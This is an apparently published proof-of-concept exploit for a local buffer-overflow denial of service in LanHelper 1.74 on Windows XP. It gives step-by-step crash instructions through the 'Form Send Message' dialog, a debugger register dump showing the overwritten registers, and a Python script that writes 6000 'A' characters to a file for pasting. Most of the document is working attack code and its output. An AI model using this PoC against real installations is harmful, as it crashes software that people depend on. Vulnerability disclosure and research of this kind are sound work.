LanHelper 1.74 – Denial of Service (PoC)
# Exploit Title: LanHelper v1.74 - Denial of Service (PoC) # Discovery by: Rafael Pedrero # Discovery Date: 2019-01-31 # Vendor Homepage: http://www.hainsoft.com/ # Software Link : http://www.hainsoft.com/ # Tested Version: 1.74 # Tested on: Windows XP SP3 # Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow # Steps to Produce the Crash: # 1.- Run LanHelper.exe # 2.- copy content LanHelper_Crash.txt or 6000 "A" to clipboard (result from this python script) # 3.- Go to "NT-Utilities" - "Form Send Message" - Tab "Message" - "Add" - "Add target" and paste the result from this python script # 4.- Paste the result from this python script in "Message text:", same form. # 5.- Click in Send button and you will see a crash. ''' EAX 00410041 LanHelpe.00410041 ECX 00410041 LanHelpe.00410041 EDX 00410041 LanHelpe.00410041 EBX 00410745 LanHelpe.00410745 ESP 013DFE70 EBP 013DFE94 ESI 00B6F268 EDI 00B6F96C UNICODE "AAAAAAAAAAAAAAAAAA" EIP 00401D0A LanHelpe.00401D0A C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFD9000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_IO_PENDING (000003E5) EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G) ST0 empty ST1 empty ST2 empty ST3 empty ST4 empty ST5 empty ST6 empty ST7 empty 3 2 1 0 E S P U O Z D I FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0 ''' #!/usr/bin/env python crash = "\x41" * 6000 f = open ("LanHelper_Crash.txt", "w") f.write(crash) f.close() |